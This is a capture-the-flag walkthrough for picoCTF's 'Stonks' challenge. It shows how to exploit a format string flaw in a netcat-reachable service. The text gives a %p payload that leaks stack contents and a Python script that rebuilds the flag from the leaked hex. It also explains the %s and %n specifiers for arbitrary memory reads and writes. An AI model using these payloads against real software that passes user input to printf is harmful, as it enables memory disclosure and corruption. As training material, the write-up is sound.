Description
I bet you can't read my API token. nc mercury.picoctf.net 33411
Setup
Connect via netcat to interact with the stock market application.
Solution
- Step 1Trigger the format string vulnerabilitySelect option 1 (Buy some stonks). When prompted for an API token, enter a format string composed of %p specifiers separated by dots. %p prints the next stack value as a pointer (hex). Enter 16 or more %p specifiers to walk up the stack and leak flag bytes.nc mercury.picoctf.net 33411# When prompted for API token, enter:%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Learn more
A format string vulnerability occurs when user input is passed directly as the format string argument to
printf()or similar functions. Whenprintf(user_input)is called instead ofprintf("%s", user_input), the format specifiers in user_input are interpreted by printf, giving the attacker access to the stack.%p reads the next value off the stack and prints it as a hex pointer. By providing many %p specifiers, you can read sequential stack values. The flag string was loaded onto the stack as local variables before the vulnerable printf call, so its bytes appear in the leaked output.
Other useful format specifiers in these attacks: %s (dereferences a pointer and prints the string at that address -- useful for reading from arbitrary memory), %n (writes the number of bytes printed so far to an address -- used for write primitives), and %<n>$p (reads the n-th stack argument directly).
- Step 2Parse the leaked hex values to reconstruct the flagCollect the %p output values. Each value is a 4-byte (32-bit) little-endian integer. Reverse the byte order within each value and convert to ASCII characters, filtering for printable characters. Concatenate to reconstruct the flag string.python3 << 'EOF' # Replace with your actual %p output values leak = "0x8.0x804b0e0.0x804b0c0.0x6f636970.0x7b465443.0x6c5f3449.0x306d5f35.0x795f336e.0x6165685f.0x33355f70.0x63343836.0x65346230.0x7d393738.0xa.None.None" parts = [p for p in leak.split('.') if p and p != 'None' and p.startswith('0x')] flag = '' for p in parts: val = int(p, 16) # Extract 4 bytes in little-endian order for i in range(4): byte = (val >> (8 * i)) & 0xff if 32 <= byte <= 126: flag += chr(byte) print(flag) EOF
Learn more
The flag is stored on the stack as a C string -- a sequence of bytes in memory. Since x86 is little-endian, the bytes within each 4-byte word appear in reversed order when printed as a 32-bit integer. For example, the bytes for "pico" (0x70, 0x69, 0x63, 0x6f) appear as the hex value
0x6f636970because the lowest address byte is placed in the lowest bits.Reversing this requires extracting each byte from the integer using bit shifts and masking:
(val >> (8 * i)) & 0xfffor i = 0, 1, 2, 3. Filtering for printable ASCII (32–126) removes null bytes and non-printable characters from the output.
Flag
picoCTF{...}
The flag was loaded onto the stack before the vulnerable printf call -- %p walks up the stack printing each value as a pointer in hex.